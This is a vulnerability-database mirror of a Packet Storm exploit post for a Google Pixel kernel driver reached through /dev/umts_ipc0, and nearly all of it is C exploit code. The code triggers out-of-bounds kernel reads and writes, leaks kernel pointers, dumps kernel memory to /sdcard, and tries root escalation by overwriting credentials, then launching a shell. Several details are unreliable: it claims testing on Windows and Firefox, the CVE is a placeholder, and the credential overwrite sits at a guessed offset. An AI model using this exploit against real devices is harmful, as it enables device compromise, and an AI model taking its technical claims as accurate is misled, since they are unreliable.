Lucene search
K

📄 Android Kernel /dev/umts_ipc0 Out-Of-Bounds Read / Write

🗓️ 19 Jun 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 38 Views

Android kernel OOB read/write via /dev/umts_ipc0 GNSS IPC using IOCTL_LOAD_GNSS and IOCTL_READ_GNSS.

Code
==================================================================================================================================
    | # Title     : Android Kernel Exploit OOB Read/Write via /dev/umts_ipc0                                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : Google Pixel CPIF Driver                                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : exploit targeting a suspected vulnerability in an Android kernel driver related to GNSS/UMTS IPC (/dev/umts_ipc0). 
                     It attempts to abuse out-of-bounds (OOB) read and write conditions through ioctl interfaces (IOCTL_LOAD_GNSS_IMAGE and IOCTL_READ_GNSS_IMAGE).
    
    [+] Payload    : 
    
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include <stdint.h>
    #include <inttypes.h>
    #include <signal.h>
    #include <setjmp.h>
    
    #define UMTS_IPC0_DEVICE "/dev/umts_ipc0"
    #define IOCTL_LOAD_GNSS_IMAGE  0xC0204901
    #define IOCTL_READ_GNSS_IMAGE  0xC0204902
    struct gnss_image {
        uint64_t offset;
        uint64_t firmware_size;
        void *firmware_bin;
    };
    struct gnss_image_read {
        uint64_t offset;
        uint64_t size;
        void *buffer;
    };
    
    #define GNSS_V_BASE          0xffffffc091e00000ULL
    #define GNSS_BUFFER_SIZE     0x00100000
    #define CURRENT_TASK_OFFSET  0x0004f000  
    #define RADIO_GID            1001
    static int fd;
    static sigjmp_buf jmpbuf;
    static volatile int fault_triggered = 0;
    static void sigsegv_handler(int sig) {
        printf("[!] Segmentation fault caught\n");
        fault_triggered = 1;
        siglongjmp(jmpbuf, 1);
    }
    static void init_signals(void) {
        struct sigaction sa;
        memset(&sa, 0, sizeof(sa));
        sa.sa_handler = sigsegv_handler;
        sigaction(SIGSEGV, &sa, NULL);
        sigaction(SIGBUS, &sa, NULL);
    }
    static int check_privileges(void) {
        uid_t uid = getuid();
        gid_t gid = getgid();
        printf("[*] Current UID: %d, GID: %d\n", uid, gid);
        printf("[*] Effective UID: %d, GID: %d\n", geteuid(), getegid());
        
        if (uid == 0) {
            printf("[!] Already root!\n");
            return 1;
        }
        if (gid == RADIO_GID || getegid() == RADIO_GID) {
            printf("[+] Running in radio context (u:r:radio:s0)\n");
            return 1;
        }
        printf("[-] Not in radio context.\n");
        printf("[*] Try: su -c 'chown radio:radio %s'\n", __FILE__);
        return 0;
    }
    static int trigger_oob_write(uint64_t offset, uint64_t size, void *data) {
        struct gnss_image img;
        int ret;
        printf("[*] Triggering OOB write:\n");
        printf("    Offset: 0x%llx\n", offset);
        printf("    Size:   0x%llx (%llu bytes)\n", size, size);
        memset(&img, 0, sizeof(img));
        img.offset = offset;
        img.firmware_size = size;
        img.firmware_bin = data;
        if (sigsetjmp(jmpbuf, 1) == 0) {
            ret = ioctl(fd, IOCTL_LOAD_GNSS_IMAGE, &img);
            if (ret < 0) {
                perror("ioctl(LOAD_GNSS_IMAGE)");
                return -1;
            }
        } else {
            printf("[!] Fault triggered during OOB write\n");
            return -1;
        }
        return ret;
    }
    static int trigger_oob_read(uint64_t offset, uint64_t size, void *buffer) {
        struct gnss_image_read img_read;
        int ret;
        printf("[*] Triggering OOB read:\n");
        printf("    Offset: 0x%llx\n", offset);
        printf("    Size:   0x%llx (%llu bytes)\n", size, size);
        memset(&img_read, 0, sizeof(img_read));
        img_read.offset = offset;
        img_read.size = size;
        img_read.buffer = buffer;
        if (sigsetjmp(jmpbuf, 1) == 0) {
            ret = ioctl(fd, IOCTL_READ_GNSS_IMAGE, &img_read);
            if (ret < 0) {
                perror("ioctl(READ_GNSS_IMAGE)");
                return -1;
            }
        } else {
            printf("[!] Fault triggered during OOB read\n");
            return -1;
        }
        return ret;
    }
    static void exploit_oob_write(void) {
        const size_t payload_size = 0x1000;
        void *payload;
        int ret;
        printf("\n[!] Starting OOB write exploit...\n");
        payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (payload == MAP_FAILED) {
            perror("mmap");
            return;
        }
        printf("[*] Crafting payload with pattern 0x41414141...\n");
        uint64_t *p = (uint64_t *)payload;
        for (size_t i = 0; i < payload_size / sizeof(uint64_t); i++) {
            p[i] = 0x4141414141414141ULL | (i & 0xFFFF);
        }
        uint64_t offsets[] = {
            0x0000,      // Beginning of buffer
            0x4f000,     // Known vulnerable offset from panic
            0x100000,    // End of buffer
            0x200000,    // Beyond buffer
        };
        for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
            printf("\n[*] Attempt %zu: offset 0x%llx\n", i+1, offsets[i]);
            ret = trigger_oob_write(offsets[i], payload_size, payload);
            if (ret == 0) {
                printf("[+] OOB write succeeded at offset 0x%llx\n", offsets[i]);
                printf("[*] Checking for system impact...\n");
                break;
            }
        }
        munmap(payload, payload_size);
    }
    static void exploit_oob_read(void) {
        const size_t read_size = 0x1000;
        void *buffer;
        int ret;
        printf("\n[!] Starting OOB read exploit...\n");
        buffer = malloc(read_size);
        if (!buffer) {
            perror("malloc");
            return;
        }
        uint64_t offsets[] = {
            0x0000,     
            0x4f000,    
            0x80000,   
            0xff000,    
        };
        for (size_t i = 0; i < sizeof(offsets)/sizeof(offsets[0]); i++) {
            printf("\n[*] Attempt %zu: reading at offset 0x%llx\n", i+1, offsets[i]);
            memset(buffer, 0, read_size);
            ret = trigger_oob_read(offsets[i], read_size, buffer);
            if (ret == 0) {
                printf("[+] OOB read succeeded at offset 0x%llx\n", offsets[i]);
                printf("[*] First 64 bytes of leaked data:\n");
                for (size_t j = 0; j < 64 && j < read_size; j++) {
                    printf("%02x ", ((uint8_t *)buffer)[j]);
                    if ((j + 1) % 16 == 0) printf("\n");
                }
                printf("\n");
                uint64_t *ptr_data = (uint64_t *)buffer;
                int found = 0;
                for (size_t j = 0; j < read_size / sizeof(uint64_t); j++) {
                    uint64_t val = ptr_data[j];
                    if (val > 0xffffff8000000000ULL && val < 0xffffffc000000000ULL) {
                        printf("[+] Found kernel pointer at offset 0x%zx: 0x%016llx\n",
                               j * sizeof(uint64_t), val);
                        found++;
                    }
                }
                if (!found) {
                    printf("[*] No kernel pointers found in this range\n");
                }
            }
        }
        free(buffer);
    }
    static void exploit_escalate(void) {
        const size_t payload_size = 0x1000;
        void *payload;
        printf("\n[!] Attempting privilege escalation...\n");
        payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (payload == MAP_FAILED) {
            perror("mmap");
            return;
        }
        struct {
            uint64_t uid;
            uint64_t gid;
            uint64_t euid;
            uint64_t egid;
            uint64_t suid;
            uint64_t sgid;
        } *creds = (void *)payload;
        creds->uid = 0;
        creds->gid = 0;
        creds->euid = 0;
        creds->egid = 0;
        creds->suid = 0;
        creds->sgid = 0;
        printf("[*] Attempting to overwrite credentials at offset 0x%llx\n",
               CURRENT_TASK_OFFSET);
        trigger_oob_write(CURRENT_TASK_OFFSET, payload_size, payload);
        if (getuid() == 0) {
            printf("[+] SUCCESS! Got root!\n");
            printf("[*] Spawning root shell...\n");
            system("/system/bin/sh");
        } else {
            printf("[-] Escalation failed. Still UID: %d\n", getuid());
        }
        munmap(payload, payload_size);
    }
    static void dump_kernel_range(uint64_t start, size_t size) {
        void *buffer = malloc(size);
        if (!buffer) {
            perror("malloc");
            return;
        }
        printf("[*] Dumping kernel memory from 0x%llx, size 0x%zx\n", start, size);
        if (trigger_oob_read(start, size, buffer) == 0) {
            printf("[+] Dump successful\n");
            
            /* Save to file */
            FILE *f = fopen("/sdcard/kernel_dump.bin", "wb");
            if (f) {
                fwrite(buffer, 1, size, f);
                fclose(f);
                printf("[+] Saved to /sdcard/kernel_dump.bin\n");
            }
        }
        
        free(buffer);
    }
    int main(int argc, char **argv) {
        int mode = 0; // 0 = write, 1 = read, 2 = escalate, 3 = dump
        printf("=========================================\n");
        printf("Android Kernel Exploit - CVE-2026-XXXXX\n");
        printf("Google Pixel /dev/umts_ipc0\n");
        printf("Credit: Jann Horn, Seth Jenkins\n");
        printf("=========================================\n\n");
        /* Parse arguments */
        if (argc > 1) {
            if (strcmp(argv[1], "write") == 0) mode = 0;
            else if (strcmp(argv[1], "read") == 0) mode = 1;
            else if (strcmp(argv[1], "escalate") == 0) mode = 2;
            else if (strcmp(argv[1], "dump") == 0) mode = 3;
            else {
                printf("Usage: %s [write|read|escalate|dump]\n", argv[0]);
                return 1;
            }
        }
        if (!check_privileges()) {
            printf("[-] Need radio context to exploit\n");
            return 1;
        }
        fd = open(UMTS_IPC0_DEVICE, O_RDWR);
        if (fd < 0) {
            perror("open(/dev/umts_ipc0)");
            return 1;
        }
        printf("[+] Device opened successfully (fd=%d)\n", fd);
        init_signals();
        switch (mode) {
            case 0:
                exploit_oob_write();
                break;
            case 1:
                exploit_oob_read();
                break;
            case 2:
                exploit_escalate();
                break;
            case 3:
                dump_kernel_range(GNSS_V_BASE, GNSS_BUFFER_SIZE * 2);
                break;
            default:
                printf("[*] Running both OOB write and read...\n");
                exploit_oob_write();
                exploit_oob_read();
        }
        close(fd);
        printf("\n[+] Exploit complete\n");
        
        return 0;
    }
    		
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
38